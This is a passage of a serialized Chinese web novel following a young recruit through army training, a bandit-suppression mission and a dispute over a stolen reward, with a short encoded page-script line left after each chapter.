杨笑正要说话,这时排在杨笑前面的一个大个子青年回过头来看向杨笑二人,认出了杨笑身边的小斯。“这不是小良子吗?哦,这位就是你说的杨少爷吧?”那青年说道。 杨笑听见那人提到自己,回头看时见是一个相貌带有一分憨厚的壮实青年,但杨笑并不认这个人。 “你知道我?”杨笑问。 那青年回道:“我就是蒲阳镇的,当然知道你。” 杨笑哦了一声表示了解。 那人又说道:“你去那边换衣服吧,位置我帮你占着。”说着指了指远处的一个街角。 杨笑道声谢到角落里换好了衣服后又回到队伍里。等待登记的队伍一点一点的向前蠕动着,终于轮到了杨笑。负责登记的军官问了姓名、籍贯,住在何处,家里还有哪些人等等情况,杨笑一一回答,另一名军官一一记录。当杨笑说到家里只有一个姐姐时,两个人只是淡淡的抬眼看了下他,并没有什么特别的表情和言语。在别处都有独子不当兵的说法,但看情形在这西梁境似是一件司空见惯的事,最起码也不是一件有多稀罕的事。 等核对完身份,军官发给杨笑一块身份牌。身份牌是木质材料,上面写着杨笑的名字,还有“东仓县丁字一百三十九”几个小字。 西梁境的军队分为甲乙丙丁四种不同的级别。甲等是西梁大军的绝力精锐,是西梁大军所向披靡的尖刀,由西梁王直接统御。乙等负责驻守各个州府及重要关隘,由相应的将领统率,是西梁境规模数量最大的军队,其中不乏与甲等精锐战力相当的军队。丙等是驻守在各个县城或次要关隘的常备军,是西梁境最普遍的军队,在人数上仅次于乙等军队,平时的许多杂活累活都是这些军队在干,但也有训练水平与乙等军队差不多的存在。至于丁等就不分驻在区域了,不管你是在哪只军队,也不管你是在县城、州城、府城,还是在哪座重要的关口,甚至是在西梁城,所有新入营的生瓜蛋子全都是丁等。 领了身份牌,从此就是西梁军中的一员了。 军营里的操场上,新兵们三五成群的扎在一起小声的议论着。杨笑此时正与那高大憨厚的青年聊着。这青年姓程,单名一个江字。两个人互相认识了解一番。这程江看似有些憨,其实人并不傻,只是有些实在了点。杨笑最喜欢的就是实在人,于是两个人还算聊的来。 正在二人闲聊时,那个排在杨笑身后提醒过他的瘦弱青年也凑了过来。三个人互通了姓名。此人原来是城里一个杂货铺老板的小儿子,只是他是庶出,又是个老来子,自从他爹死后,他跟他娘就被赶了出来,家里的财产也全被长房霸占了去。从小跟着他娘靠舅舅家的接济过活,日子过的很苦。于是他从小就不喜欢他爹这一家子人,就连他爹给起的名字也不用了,干脆跟了母姓,姓赵。这个家伙连个正儿八经的名字也没有,很早就跟着舅舅篇箩筐到街上卖,以此讨生活。由于卖东西时总是斤斤计较,心眼儿又多,于是就有人打趣他“心眼儿像他卖的箩筐上的眼儿一样多”就给他起了个“赵千眼儿”的外号。时间长了,叫来叫去就叫成了“赵钱眼儿”。 赵钱眼儿虽说心眼儿不少,可人并不坏,还挺乐意帮助人的,不然也不会主动提醒杨笑了。杨笑也因此对他有些好感。 三个人攀谈了一阵子,很快就已邻近中午了。正在众新兵等的心里有些不奈烦时,一个人站到了操场内的高台上。 此人豹头环眼,满脸的大胡子炸呼呼的支楞着,浓黑的眉毛厚嘴唇。那人穿了一身盔甲站在高台上,一张口当真是低气十足:“小子们!”台下离他近些的人都被震的耳朵眼儿嗡嗡响。 众人冷不丁的被吓了一跳,都抬头往台上看去。 那军官把在场之人都扫了一眼,吹胡子瞪眼的叫道:“一看你们这帮兔崽子,就知道你们丁点规矩都不懂!看看你们站的那个样儿,一个个东倒西歪,简直就是一盘散沙,都给我站好唠!” 一群新兵赶忙立正站好。 那军官用手一指人群里的一个人说道:“我数十个数,以他为中心站三排,站不整齐的围着操场跑十圈,没站进队伍的跑二十圈。”那大胡子军官语速飞快,杨笑都有些替他担心嘴里的舌头转不过来了可怎么办?大胡子军官说完立刻就数了起来“十,九,八,七……。” 这数……数起来唯实也是不慢! 下面的人群立刻就慌了起来。好在等那军官数完十个数的时候众人勉强站成了三排。 那军官在台上来回渡着步子:“嗯!干的不错,比去年那帮小兔崽子们强那么一丢丢。”大胡子军官掐着小指尖嫌弃道。“不过嘛……。”大胡子军官转而又一幅失望的样子摇着头说道:“啧,地里的庄稼都比你们站的整齐。去吧去吧,围着操场跑十圈啊。”大胡子军官很随意的摆摆手。 一群新兵只得乖乖的去跑圈。有几个人不满的唠叨了几句,那人立刻叫道:“谁再费话加十圈!”就这一嗓子,再也没人敢发出半点声音了。 众人才跑了没多远,那大胡子军官就叫道:“太慢了!再不快点就一直跑,跑到我满意为止,有掉队的再加两圈!” 大家伙儿全都知道他嘴巴里的这个“两”可不一定就真的是“两”了,搞不好就是没个准数。 就这样,一群人围着操场一顿狂奔。一开始都还好,虽说跑的乱了点,但总算没人掉队。 脚下这个操场不跑不知道,跑起来才觉得是真大,不过才跑了几圈,就有人在体力上开始有点跟不上了,渐渐地掉了队。 大胡子军官站在操场中央开始幸灾乐祸起来:“哈哈哈……跑!都给老子跑快点!” “哎!你看那个壮后生,啊!多棒的小伙儿,就冲你长这么壮,赏你多跑一圈。” 那个被他指到的青年闻言一个踉跄差点没摔倒。 大胡子军官扭头又指向另一个人:“这个小子也不错!就你这体格,我保证你能从我这儿囫囵个儿的回家。” 那个人只得对他一脸苦笑的点点头。 “嘿!臭小子!你敢当着我的面儿抄近道儿,小心我扒你的皮,给我跑大圈!多跑一圈!” 赵钱眼儿的体格到底差了些,跑了六七圈后就有点跟不上了,还好有杨笑和程江帮忙,一人一只手架在他的腋下才不至于让他掉队。那大胡子军官见了也只是多看了两眼并没有说什么。 其他掉队的人可就没这么幸运了,被大胡子军官指着后脊梁一顿痛骂:“你们几个赶紧跑!都是吃了十五年的饭,看看人家,嗯?再看看你们几个,饭都吃到狗肚子里了吗?……。” “你!瞅瞅你那身肥肉,你是包子成精了吧?……。” “你笑什么笑?长的个头倒是不小,连这两步都跑不动,你个废物!除了长成个瞎大个你还能干点什么?你说你要是根咸菜,那还能多就两口。嗯!?快跑!” ……。 就这样,每个被他点到的人都难免被他变着样儿的臭骂一顿。被骂了还得咬牙加劲儿往前跑,心里就别提有多恨这个家伙了。说不定祖宗十八代都不够问候的。 接下来杨笑在军营里的第一天还会遇到些什么事?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十六回 我教你们学军规 上回说到新兵们没少被那个大胡子军官变着花样的一顿臭骂。 终于有人受不了了,停下来跟他理论几句。谁知那大胡子也不见生气,也不跟那人理论,只是二话不说冲远处招了招手,很快就有两个甲士跑了过来。大胡子军官一指面前之人,只说了一个字:“打!”这个打字说的真是干脆利索。两个甲士也是够干脆利落,不由分说,摁住那个人就是一顿暴捶,直打的那人连连救饶。 一群人都看愣住了,心说:“这也行?太不讲理了吧?” 那大胡子军官见所有人都停下来看着这边,把眼一斜,喝道:“都愣着干什么?还不快跑!”众人这才想起来还要跑圈,赶紧又接着跑了起来。 好不容易绕着操场跑完了十圈,新兵们一个个累的呼哧呼哧的喘着粗气,有几个甚至做势就要坐到地上。老话说的“呼哧带喘,累个半死”差不离儿就是这个样子了吧? “谁要是敢坐下就再跑两圈。”一个含糊不清的声音响起。 虽然声音含糊到听不清说的什么,但并不影响大家伙儿理解这句话的意思。那几个正坐到一半的,吓的立刻止住身形,又硬生生的站了起来。好家伙!真是亏得生了一双好腿,再加上自己个儿机灵,不然的话可就惨了。 大胡子军官把包括杨笑在内的十来个人挑了出来:“你们几个可以去休息了,其他人再跑两圈。”一听这话,那些人可就都不答应了,一个个的喊冤:“为什么呀?我们又没掉队为什么还要罚我们?……。”大胡子军官立刻大声的训斥道:“抛弃同伴,还有脸喊冤?”只一句话就堵住了所有人的嘴,那些本来就掉队的就更无话可说了。 等到所有人都跑完后,那大胡子军官站在操场内的高台上不急不慢的朗声道:“介绍一下啊。我,是这东仓县军营的百夫长陈魁。没错,就是那个市井巷弄里流传的,喜欢虐人的家伙。你们在新兵营的这半年,所有的体能训练,还有什么刀枪棍棒,拳脚功夫,包括骑马射箭都由我负责教授。你们都还有什么话要说吗?” 听到这个名字许多人已经在心里开始祈祷起来了,祈祷自己在接下来的日子里运气能够好一些。 众人在下面一阵窃窃私语。 见没有人站出来说话,陈魁满意的点了点头,抬起双手做了个向下压的手势。“安静。”等台下的人都安静下来以后,陈魁冲旁边打个手势:“把那个谁谁谁,就那个挨打的,带上来。” 那个挨打的青年被一瘸一拐的带到了台上。陈魁上前摸了摸那青年被打的乌青的眼眶说道:“不是跟你俩说了嘛,不要打脸,不要打脸,你看看,嗯,这都给打成什么样了?这怎么见人吗?” 话是对着那个鼻青脸肿的青年说的,但到底是说给谁听的……那就不知道了。 陈魁一边阴阳怪气的说着话,一边摆出一幅假惺惺的样子伸手去摸那青年脸上的伤。他关心道:“打疼了吧?……。”这陈魁别看嘴上说着关心的话,手上使的劲儿可不小,直摁的那青年呲牙咧嘴却不敢躲上一躲,生怕再招来一顿无妄之灾。 陈魁的假关心也只是那么一下下而已,转过身就在那青年的腘窝处踢了一脚,那青年被踢的膝盖一软扑通一声就跪在了台上。陈魁上前一步用手指着那青年开口道:“这就是违抗命令的下场!” 那幅凶神恶煞的样子看的台下的新兵们一个个心里发毛,暗自侥幸,幸好自己刚才忍住了,没有傻呵呵的提什么意见,要不然这会子怕是比那个倒霉的家伙好不到哪去。 陈魁的脸色缓和了一下说道:“从进了这个大门开始,你们就已经是咱们西梁大军的一员了,咱们西梁军的头一条规矩,那就是服从命令。服从!服从!再服从!……都懂了没有?” 台下众人齐呼一声:“懂!” 陈魁在台上来回渡着步子继续一句一句地训着话:“在战场上只要冲锋的命令一发出,不管你有什么意见,只要你还没死,只要战斗还没有结束,你都必须往前冲。但这并不是不允许你们提意见,只要不是在冲锋的情况下,如果你们对上级的命令有意见,完全可以提出来,但如果你的上级不同意你的意见,那你就必须完全无条件地执行命令。但是,我奉劝你们最好少提你们那些自以为是的意见,因为你们的上级一个个都是在战场上摸爬滚打出来的,他们对战场形势的认识比你们要强上百倍。在你们成为军官之前,最要紧的,最应该做的,就是服从上级的命令。” 陈魁说完蹲在那名青年的身边冷冷的说道:“我刚才让你们跑,就是在让你们冲锋,你竟然敢停下来跟我掰扯那些乱七八糟的道理,这要是在战场上可是杀头的大罪。念在你是头一天进军营,所以只是对你略施小惩,你现在还觉得自己冤吗。” 那名青年连连摇头:“百夫长教训的是,小子再也不敢了。” “你应该说属下。” “是!属下再也不敢了。” 陈魁让人带那名青年下去疗伤。他又接着对台下的人训话道:“刚才罚你们多跑两圈,你们一个个的就都有意见,现在就让我告诉你们,西梁军中的另一条规矩,那就是无论在任何情况下都不能抛弃你们的同伴!试想一下,如果你们在战场上深陷危机,那么你们是不是特别的希望自己的同伴能够拉你们一把呢?再比如说,你已经战死沙场,那你是不是希望你的同伴能够把你的尸首带回家乡,好让你落叶归根,入土为安呢?就在刚才,你们眼见自己的同伴掉队,却视若无睹,不肯施以援手,这就如同是在战场上抛弃自己的同伴!当然,你们中,有些人做的还是很不错的。现在你们知道为什么要罚你们了吧?” 一群人在下面低头默不作声。 陈魁又往下说道:“咱们西梁军之所以能够一直强盛如斯,可以说跟军纪严明脱不了关系。今天,我就跟你们一条一条的说一说咱们西梁的军规。”说着不知道从哪里拿出一本书来,陈魁翻开手里的书低头念道:“西梁军规第一条……。” 就在大家都沉浸在这认真严肃的气氛中,以为这位陈魁百夫长要对西梁军规大谈特谈的时候。他却突然把手里的书本一合,俏皮地说了一句:“开饭。”说完就一溜烟的跑了。等大家都反应过来的时候,陈魁早已消失在操场后的那堵小门里。 欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十七回 军营里的日子 上回说到新兵们进入军营的第一天就被虐了一顿。经过这么大半天的折腾,这顿中午饭肯定是只有吃凉饭的份了。 午饭过后,新兵们又在操场中集合。不一会儿,陈魁就来了,大伙儿一见他来,就很知趣的自动列队整齐等待训话了。 不过这次让他们失望了,还是很乐意见到的失望。陈魁到来后并没有跟他们多说什么,只是让他们跟着自己去领取物品。 大家先是到库房领取了衣服鞋帽等用品,又各自安排了营房。等一群人都换好衣帽,整理好营房后已是天色将晚。 陈魁对众人说道:“今天是你们进入军营的第一天,杂事有点儿多,现在我来简单地说一下军营里的作训规矩。接着陈魁简要的向众人说了一遍在军营中作训时需要注意的事项。 原来在西梁军里,新入伍的兵丁一律定为轻甲步卒。在经过半年的训练后,就要被派到边界上跟驻守边境的军队一同守卫边境两年。 两年过后再根据在边境的表现,个人的身体素质以及能力等等,再细分为步卒,骑卒,弓弩手等不同的职务。其中步卒和骑卒又有轻甲和重甲之分。在这两年期间,若有功过,一律与老卒一样奖罚。 在军营训练的这半年,相对来说就要宽松太多。家离军营近的,只要不耽误第二天点卯的时间又不在个别特殊的训练日期,待训练结束后就可以自行回家休息。等到农忙时节,还会放假回家务农。 等两年新兵期过后,表现优异者可留做常备军,其余人便返回原籍作为后备军。常备军专职军务,不再从事农商。后备军回家后除了在每年的农闲时节,分批次,分乡镇训练一段时间外,与普通百姓没有什么差别。 常备军若是年老复员,或者有伤病不能再战者,由军中安排遣返原籍,分给土地,房屋,以及钱财。此外,每年还可以在军中领取一定份额的养老钱,以保证生活。而后备军就没有这些待遇了。 陈魁讲完后就宣布解散了。 杨笑第一天到军营里,原本以为会被要求在军营里住宿,没想到还可以回家。想想回家住的话每天来回也来得及,就走出营门。在外面等了一天的小斯正靠在马车上打着盹儿,杨笑叫上他准备往回走。 想到程江跟自己同路,索性就返回去叫上了程江一起乘车回家。至于赵钱眼儿的家,本来就住在城里自然不必说。程江也是个爽快人,见杨笑邀请他一起回去,便道声谢与杨笑一同乘车回家了。 第二天,三个人又聚在一起。满满一上午一群人又被那个陈魁给虐了个精疲力尽。 下午来的是一个并不穿盗甲,而是穿了一身皂色制式长杉的中年男子。男子自称姓曹。大家伙儿才不管他姓甚名谁呢,只要不是陈魁那个恶魔就行。 曹姓军官来到操场后直接说道:“尔等有不识字者出列。”这些人里面大多数都不识字。曹姓军官将他们分到一处。 又说:“只写的姓名者上前。”又有不少人走出。曹姓军官又把他们分到另一边。 又说:“上过三两年学塾,认得一些字的上前。”又有一部分人走出。 这样一来剩下的人就没有多少了。那曹姓军官又道:“读过几年书,能写一些文书字据者上前。读书至今能写文章者留下。”这次留下来的人就更少了。曹姓军官将这一部分人一一做了记录。最后留下来的人更是用一个专门的册子详细的记录好,杨笑自然在其中。 等曹姓军官记录好后就把两个册子交给身后的一名士卒,那士卒接过册子后转身离去了。 曹姓军官转身朗声道:“今日由我向尔等宣讲西梁军规。”说着捧出一本厚厚的书来,翻开第一页后就像一个木偶般自顾自的宣读了起来。 开篇为军规撰写的年号与西梁王的一篇诏令。无非是说些为何要立下军规以及一些勉励军中将士的话。 读完这些后就是军规中的十宗大罪:第一罪,通敌叛国者斩;第二罪,违抗军令者斩;第三罪,贻误军机者斩;第四罪,临阵脱逃者斩;第五罪,……。 读完十宗罪后就是一些次一级的罪名和处罚其中也不乏一些死罪,听完后让人觉得好像进了军营后就别想着能囫囵个儿的出来了。 再往后是一些军营里的一应规矩。最后是军中的奖励制度,什么升爵位呀,奖金银啊,听起来总算给人一些期望。 从始至终曹姓军官都机械般的宣读着,也不管下面的人有没有在听。这帮新兵们大多数人长这么大都没有坐在一个地方呆过这么长的时间,这些人的脑子早就不知道飞到什么地方去了。有几个家伙甚至躺在地上打起了呼噜来,对此那曹姓军官也是视若无睹。 等把这些军规全部宣讲完毕后,一天的时间也快要过去了。曹姓军官把那本厚厚的书合上后说道:“刚才所宣尔等今后务必牢记心中,如有不解者在营中有碑刻全文,可前往观看背诵。”众人回道:“我等谨记。”曹姓军官机械般的点点头道:“嗯!今日到此为止,而等可自行离去了。”众人回声“尊命”后便解散了。 从第三天开始,除了体能训练外,陈魁开始教授一些在军中普及的拳脚功夫与器械,还教大家学习骑马与射箭。一个月后又开始教授一些战场上的对敌技巧,等大家都练习的差不多了就让他们两两捉对进行撕杀练习。 就这样半年的时间很快就要过去了。通过这几个月的接触,杨笑渐渐的发现这个陈魁也并非像外面传说的那么坏,只是在训练的时候有些严厉而已。杨笑就曾见到他为受伤的士卒包扎伤口,那时的陈魁认真仔细,动作轻柔,言语面容间满是对受伤袍泽的关心。而且军营里的老卒们对他也是敬重有加。 这一天点卯后,陈魁又像往常一样让大家恨了一整天,快到该解散的时候,有一名军官来到操场中跟陈魁两个人在操场边上说了一阵子什么。 没一会儿陈魁就把大家招集到一起宣布道:“今天晚上开展夜训!”新兵们齐声答“是”。陈魁接着道:“你们这帮小子很幸运,还没有到边疆就碰上了一个实战的机会。……。” 原来今天的夜训跟往常不一样,是叫他们携助县里的衙役们到山里剿灭一伙流窜而来的土匪。众人听到后发出一阵窃窃私语。 在剿灭流匪的过程中又会发生些什么事情呢?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十八回 剿匪 上回说到陈魁安排众新兵协助本县衙役们前往剿匪,一众新兵听到陈魁的话后在下面一阵交头接耳。 陈魁见下面的新兵们议论纷纷,不悦道:“瞧你们那点儿出息,不就是剿个匪吗?当然啦,也不会让你们这帮生瓜蛋子独自去的,会有营中老卒领着你们,到那以后你们只要机灵些就行了。只是让你们去见识一下,用不着紧张。”新兵们又是一阵窃窃私语。陈魁更不耐烦了:“好了!好了!现在去领军械,一柱香后出发。” 很快,众人都穿戴好了盔甲分发了兵器在操场集合完毕。陈魁一挥手命令道:“出发!”众人出营门而去。 西梁境内的治安一向是很好的,杨笑在西梁的这两年,除了偶尔能听到一星半点的小偷小摸的不法之徒外,像山贼土匪这一类的东西还是头一次听说。眼下他们要去剿灭的这帮土匪也不知道是从哪里流窜过来的。不过敢到西梁的地界上来撒野,也只能是算他们倒霉了。 行至午夜时分,队伍来到了一座山下,早有一队衙役在这里等候。 原来前些日子不知道从哪里流窜来一伙土匪,在附近的三个县犯下了几桩案子。三县衙役联合剿灭,终于把这伙土匪围困在眼前的这座山上。 山上应该就是这伙土匪的老巢,奈何山势险峻,衙役们攻了几次都没有攻上山去。眼看着天黑了下来,衙役们的人手又不足以把守住各处路口,担心土匪们会趁着夜色逃出去,只得求助县城的驻军前来一同剿灭。 看到援兵到来几个捕头很是高兴,把眼前形势向几个军官说了一下。然后陈魁就下令把整座山给团团围住,等天亮以后再一起攻上山去。 一夜围守。待东方破晓之后所有人都一齐向山上攻去。 令新兵们失望的是这帮衙役们口中的悍匪,并没有像大家想像中的那样顽命抵抗跟他们大战上一场。土匪们见到西梁军出现在山上,立刻望风而逃了。 待大家攻到山上的时候就见到匪首正带着人从一条他们之前没有发现的小道上逃走,一群人立刻追赶。 在剿匪的队伍中有几个衙役们找来的当地的猎户,这些人熟悉地形,领着一队人走另一条路赶在前面截住了土匪。 土匪们一见去路被堵,后面又有追兵,立刻一哄而散。众人只得满山遍野的分头去追。 赵钱眼儿瞅准一个有些瘦小的土匪,估么着这个家伙应该好抓一些,就追了上去。没想到这个家伙还挺能跑,赵钱眼儿追了好一会儿才慢慢的追上了他。 眼瞅着再紧赶两步伸出手就能抓住那土匪了,结果赵钱眼儿一个不小心被一根手臂粗的枯树枝拌了个跟头。赵钱眼儿跟那土匪之间的距离立刻就拉开了。 到嘴边的肉要是让他给跑了岂不是要让人笑话!赵钱眼儿忍住疼痛赶紧爬了起来,抓起地上的一块石头就朝那土匪狠狠的砸了过去。好巧不巧,正砸中那土匪的脚踝。那土匪忍不住疼痛,一个站立不稳摔倒在地上,然后就从山坡上咕噜噜地滚了下来。赵钱眼儿抄起那截树枝冲上前去按住那个土匪,一棍子就打了下去,正打在那土匪的后脑勺上,土匪两眼一翻昏了过去。 赵钱眼儿抓住了那个土匪,还没来得及高兴,让他意想不到的事情就发生了。 有人从背后一把将他扒拉到一边,赵钱眼儿扭头一看,来的不是别人,正是他那个死鬼老爹的正房老婆的小儿子。 这人名叫钱宇,年纪比赵钱眼儿大了几个月,说起来他还得叫这人一声哥,从小赵钱眼儿就受他的欺负最多。 赵钱眼儿正要发作,钱宇瞪他一眼叫道:“怎么,你这庶出的贱种也敢跟我叫板不成?小心回去以后让你吃不了兜着走!” 赵钱眼儿自小就被他欺负怕了,一听这话立刻就泄了气不敢再说什么,由着钱宇把那个本该属于他的俘虏给带走了。而这一切都被远处的杨笑看在了眼里。 剿灭了山匪回到大营里,一经审问才知道,原来那个瘦小的家伙竟然就是匪首。这下子可是大功一件,钱宇被告知不日官府许下的赏金就会送到。 这个消息传来传去,传到了赵钱眼儿的耳朵里。原本他只是看那个人个子瘦小,兴许好抓些,自己要是能抓到他多少也能领一份赏钱,这样一来回家后也可以让母亲吃顿好的。可现在这份功劳被别人抢了去,要是一般的土匪还好些,毕竟也没有多少赏钱。现在知道了这人竟然是匪首,那赏金就不一样了,匪首的赏金可是丰厚的很啊! 赵钱眼儿无论如何也咽不下这口气。想来想去,想到杨笑是个读书识字的,办法一定多,于是就来找杨笑帮忙。两个人平时就比较要好,再加上又是抢夺功劳这等无耻行径,并且又是自己亲眼所见,杨笑自然要打抱不平。 二人结伴来到军务堂,这里是军营中处理日常军务的地方。两个人刚进门正好碰上里面正在发放赏金。杨笑大步迈入厅中高呼一声:“且慢!” 屋内众人闻声望来。曹姓军官见是杨笑和赵钱眼儿两个人,不悦道:“你们两个不禀报就擅闯进来,平日里教导你们的军规都学到哪里去了?” 杨笑躬身告罪一声说道:“不是我二人不识军规,实在是这当中有些要紧的事要说于曹主簿。” 曹主簿拉着脸问道:“有何事情?” 杨笑起身道:“此次协助县衙剿匪,有人抢夺他人所俘匪首并冒领功劳,而这个人就是他!”杨笑说完伸手指向钱宇。 后者一听先是面露惊慌之色,后又强装镇定道:“你无凭无据不要血口喷人!” 杨笑上前一步对着钱宇厉声道:“此事乃我亲眼所见,你还想抵赖?” 钱宇还要否认。杨笑冷笑一声转身对曹主簿道:“主簿大人,我方才所言也不需多费口舌,只要将那匪首带来一问便知。” 钱宇急道:“主簿大人莫要听他胡说。” 曹主簿扫了一眼三人向赵钱眼儿问道:“可有此事?” 到了这个时候赵钱眼儿已经没有了退路,他鼓起勇气指着钱宇大声的说道:“就是他把我抓到的山匪抢走,还说我要是反抗的话就让我吃不了兜着走。” 钱宇大呼冤枉。曹主簿看看钱宇,又看看周围的人,最后又看向钱宇。在场的有东仓县的县令与几名捕头,还有军营里的几个军官。这个时候所有人都看向他,曹主簿犹豫了一下开口道:“去将那匪首带上来。”一旁的军卒领命而去。 不多时匪首带到。钱宇这时候就有些慌神儿了。曹主簿向那匪首问道:“这三人中是谁将你俘获的?” 那匪首闻言哈哈大笑起来:“你们也有分脏不均冒领功劳的时候?西梁军果然名不虚传呐!” 场内众人脸上皆浮现出一丝难堪,不过更多的是对这小小山匪胆敢嘲笑他们的怒意。 曹主簿黑着脸向那匪首说道:“再胡说一句小心我让你好受!” 那匪首止住笑声冷哼道:“老子虽然是个山贼,却也是一条汉子,这种抢夺功劳的事儿,老子一向不齿。”说着指向赵钱眼儿:“就是这小子把我打晕的。” 只这一句话就道明了事情的真相。钱宇立刻吓的脸色煞白,跪在地上求饶。在众人的目光下曹主簿的脸色变了几变,开口道:“去请杨百夫长。” 杨豹很快就来到了军务堂,前后将事情听了一遍后问道:“曹主簿,依律该如何处置?” 曹主簿眼珠子转了转,开口道:“贪没他人军功,依律当杖毙。不过……。” 杨豹问道:“不过如何?” 曹主簿接着道:“此次剿匪乃是协助县衙行事,说是军功嘛……。” “嗯?……。”杨豹闻言看向曹主簿。 究竟赵钱眼儿能不能找回自己的功劳,而冒领军功的钱宇又会受到什么样的惩罚?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十九回 扬鞭策马上边疆 上回说道钱宇抢夺他人军功的事情被揭发,杨豹要处罚钱宇。曹主簿站出来替钱宇辨解道:“此次剿匪乃是协助县衙行事,说是军功嘛……难免会有几分牵强,应该算是半分军功吧。念在他是入营不久的新兵,又是初犯,况切两个人又是亲兄弟的关系,我看……我看可以从轻发落,就……嗯……就罚鞭五十吧?” 杨豹看了曹主簿一眼,随后点头道:“那就这么办吧。”说完站起身就要往外走。 钱宇听到对自己的处罚后吓的瘫坐在地上。五十鞭,听起来是给了他一条活路,但是任谁都知道这五十鞭要是真的打下来他就是不死也离死不远了。 钱宇爬到杨豹跟前抱住他的腿求饶道:“将军饶命啊将军!我再也不敢了,我再也……将军饶了我吧!……。”钱宇抱着杨豹的腿哭的鼻子一把泪一把的,哭着哭着又不知是想到了什么,突然又一指杨笑叫道:“他,都是他,都是他陷害我的……。” 杨豹替他哥哥监管军营,如令军营里出了抢夺军功这当子丑事,杨豹的心情本来就不好,现在钱宇又把矛头指向了杨笑,杨豹的火就更大了。他一脚踢开钱宇说道:“将什么军?叫我百夫长!另外,谁陷害你,他也不会陷害你!”说完就大步离去了。 曹主簿望着杨豹离去的方向心里不知道在想些什么,过了一小会儿,曹主薄才回过神来,他抬手示意道:“拖下去。” ……。 赵钱眼儿得了一笔丰厚的赏金,为了感谢杨笑的帮助非要分一半给他,杨笑百般推辞就是不要,赵钱眼儿只得作罢。出了军营,赵钱眼儿高高兴兴的到坊市里为他娘买了一些平日里舍不得吃的美味,又买了一些布料,他要给他娘还有舅舅家的一家老小全都做一身新衣服。 赵钱眼儿邀请杨笑和程江到家里做客,两人欣然前往。到了赵钱眼儿的家里,赵钱眼儿把买来的吃食摆了一桌子,众人都围坐在一起。一家人坐在一起把个小屋挤了个满满当当,屋子虽然很小,但却充满了温馨快乐的气氛。 赵钱眼儿今天特别的高兴。他先是向母亲说了许多军营里的趣事,说在军营里有这两个好兄弟十分的快意。又向家人吹嘘了一番自己抓捕那匪首的过程。吹嘘自己如何独具慧眼看出那人的不一般,又说自己如何如何追到了匪首,匪首如何如何反抗,自己又如何如何厉害最终将其制服。整个过程被他说的会声会色,有的没的说了一大堆,简直就是天花乱坠。当然这其中自然是只报喜不报忧了。 赵母听儿子诉说着个中经历,面上虽说是高兴可言语间却都是对儿子安危的担心。这一切杨笑都看在了眼里,“天下间的父母对子女们大抵都是如此吧!”杨笑不由得又想起了自己的母亲。只是在赵家人的面前不便流露出来自己的心情,但心中已是没了兴致,草草的吃过饭后就告辞回家了。程江见杨笑要走也一并告辞。 赵家里一家人欢聚一堂,在县城另一头的钱家却是另一番情景。 五十鞭听起来很吓人,但必经鞭子是死的人却是活的,在曹主簿的暗中安排下,钱宇虽说被打了五十鞭却不至于伤到性命,只不过要在床上爬上一段时间了。 钱母坐在儿子的床边,心疼的一个劲儿的哭哭啼啼,一边哭一边恨恨的道:“那个小杂种他怎么这么狠的心呢?嗯?这不是想要了我儿的命吗?”埋怨完她嘴里的那个小杂种又埋怨自己的儿子:“你说你跟他一个下贱货抢个什么劲儿啊?咱家又不缺那点赏钱,现在倒好,被人家害成这样,你说你要是有个什么三长两短的,你可教你的娘我怎么活呦!……。”说着就又要哭了起来。 屋子里头的一张桌子旁,背对着钱宇母子坐了一个中年男人。大概是听钱母哭哭啼啼听的有些心烦了,也或许是他今天本来就心情不好。中年男人不奈烦道:“哎呀!你行了!能不能别哭了?” 钱母一听立刻止住哭声,向那男子埋怨道:“你还说?你一个当舅舅的眼看着自己的亲外甥被人家害成这样你就不管管?……。” 那男子腾的站起身来,走到钱母跟前指着自己的鼻子叫道:“我还不管?我要是真不管你儿子现在早死了,你还能在这里哭?还我不管?……。” 这个中年男子不是别人,正是军营里的曹主簿。原来曹主簿是钱母的哥哥,钱宇的亲舅舅。 钱母见自己的大哥生了气也没了刚才那股胡闹的劲儿,喏喏的说道:“人家还不是心疼儿子嘛。”刚老实了这么一句话,钱母就又来了劲儿:“不行!这件事儿不能就这么算了!” 曹主簿听的都有些头疼了:“你就消停两天吧。” 曹主簿回到桌子旁拿起桌上的茶水一口喝了个干净,思索着说道:“那姓杨的小子看起来跟杨校尉家的关系不一般呐!两个人都姓杨……难道是一家人?咝……没听说呀?” 钱宇也不肯善罢甘休:“舅舅,你一定要替我报仇,弄不了姓杨的小子我就弄那个小杂种,我要他死!” 曹主簿看着自己这个不争气的小外甥说道:“你也老实一点吧。今天在军营里,幸亏你没有说破我和你之间的关系,否则的话,谁也救不了你。” 钱母在旁边也咽不下这口气,问道:“难道这件事就这么算了?” 什么叫做:有什么样的娘就有什么样的儿?这就是有什么样的娘就会有什么样的儿。 曹主簿想了想说道:“这件事容我慢慢的从长计议。” 呵呵,还真是一家人。 ……。 很快新兵营里的半年便过去了。 